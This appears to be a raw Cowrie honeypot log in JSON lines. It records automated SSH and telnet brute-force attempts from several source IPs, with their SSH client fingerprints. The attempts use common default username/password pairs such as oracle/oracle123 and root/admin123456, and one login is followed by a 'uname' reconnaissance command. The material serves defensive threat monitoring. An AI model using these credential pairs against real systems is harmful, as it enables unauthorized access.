{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:15.477897Z","src_ip":"109.237.96.109","session":"4a47961a83e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"178500","message":"login attempt [root/178500] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:15.753646Z","src_ip":"109.237.96.109","session":"4a47961a83e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:16.846344Z","src_ip":"109.237.96.109","session":"4a47961a83e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":33426,"dst_ip":"10.17.0.5","dst_port":22,"session":"d46544cbd70a","protocol":"ssh","message":"New connection: 193.151.144.93:33426 (10.17.0.5:22) [session: d46544cbd70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:18.570088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:18.575916Z","src_ip":"193.151.144.93","session":"d46544cbd70a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:18.744292Z","src_ip":"193.151.144.93","session":"d46544cbd70a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:19.246395Z","src_ip":"193.151.144.93","session":"d46544cbd70a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:20.861818Z","src_ip":"193.151.144.93","session":"d46544cbd70a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":51246,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ad64b821c6e","protocol":"ssh","message":"New connection: 103.15.222.183:51246 (10.17.0.5:22) [session: 3ad64b821c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:21.249198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:21.254266Z","src_ip":"103.15.222.183","session":"3ad64b821c6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:21.497506Z","src_ip":"103.15.222.183","session":"3ad64b821c6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samsu","message":"login attempt [root/samsu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:22.229435Z","src_ip":"103.15.222.183","session":"3ad64b821c6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:23.475712Z","src_ip":"103.15.222.183","session":"3ad64b821c6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":32890,"dst_ip":"10.17.0.5","dst_port":22,"session":"28de8f628ba0","protocol":"ssh","message":"New connection: 193.151.144.93:32890 (10.17.0.5:22) [session: 28de8f628ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:24.092263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:24.097020Z","src_ip":"193.151.144.93","session":"28de8f628ba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:24.270008Z","src_ip":"193.151.144.93","session":"28de8f628ba0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:24.788549Z","src_ip":"193.151.144.93","session":"28de8f628ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:26.846985Z","src_ip":"193.151.144.93","session":"28de8f628ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":100.37968015670776,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:27.362414Z","src_ip":"79.139.59.21","session":"9470187f6f6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":38468,"dst_ip":"159.203.135.109","dst_port":23,"session":"f28f2d337ef7","protocol":"telnet","message":"New connection: 79.139.59.21:38468 (159.203.135.109:23) [session: f28f2d337ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:28.542730Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":32894,"dst_ip":"10.17.0.5","dst_port":22,"session":"cde3d1d7ce13","protocol":"ssh","message":"New connection: 193.151.144.93:32894 (10.17.0.5:22) [session: cde3d1d7ce13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:29.694836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:29.699819Z","src_ip":"193.151.144.93","session":"cde3d1d7ce13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:29.873490Z","src_ip":"193.151.144.93","session":"cde3d1d7ce13","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:30.378015Z","src_ip":"193.151.144.93","session":"cde3d1d7ce13","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:30.766166Z","src_ip":"193.151.144.93","session":"cde3d1d7ce13","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:30.769629Z","src_ip":"193.151.144.93","session":"cde3d1d7ce13","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:30.939186Z","src_ip":"193.151.144.93","session":"cde3d1d7ce13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:30.945365Z","src_ip":"193.151.144.93","session":"cde3d1d7ce13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40526,"dst_ip":"10.17.0.5","dst_port":22,"session":"35a26328f3df","protocol":"ssh","message":"New connection: 193.151.144.93:40526 (10.17.0.5:22) [session: 35a26328f3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:35.299281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:35.304086Z","src_ip":"193.151.144.93","session":"35a26328f3df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:35.465144Z","src_ip":"193.151.144.93","session":"35a26328f3df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:35.947286Z","src_ip":"193.151.144.93","session":"35a26328f3df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:37.110886Z","src_ip":"193.151.144.93","session":"35a26328f3df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":33154,"dst_ip":"10.17.0.5","dst_port":22,"session":"121f41e461a0","protocol":"ssh","message":"New connection: 193.151.144.93:33154 (10.17.0.5:22) [session: 121f41e461a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:40.875380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:40.883287Z","src_ip":"193.151.144.93","session":"121f41e461a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:41.049242Z","src_ip":"193.151.144.93","session":"121f41e461a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:41.544534Z","src_ip":"193.151.144.93","session":"121f41e461a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:42.713463Z","src_ip":"193.151.144.93","session":"121f41e461a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"182bed18a885","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: 182bed18a885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:45.428203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:45.432942Z","src_ip":"23.97.62.150","session":"182bed18a885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:45.669797Z","src_ip":"23.97.62.150","session":"182bed18a885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":33158,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b0b8aa5c9a1","protocol":"ssh","message":"New connection: 193.151.144.93:33158 (10.17.0.5:22) [session: 7b0b8aa5c9a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:46.244099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:46.248888Z","src_ip":"193.151.144.93","session":"7b0b8aa5c9a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456","message":"login attempt [root/admin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:46.380277Z","src_ip":"23.97.62.150","session":"182bed18a885","protocol":"ssh"}
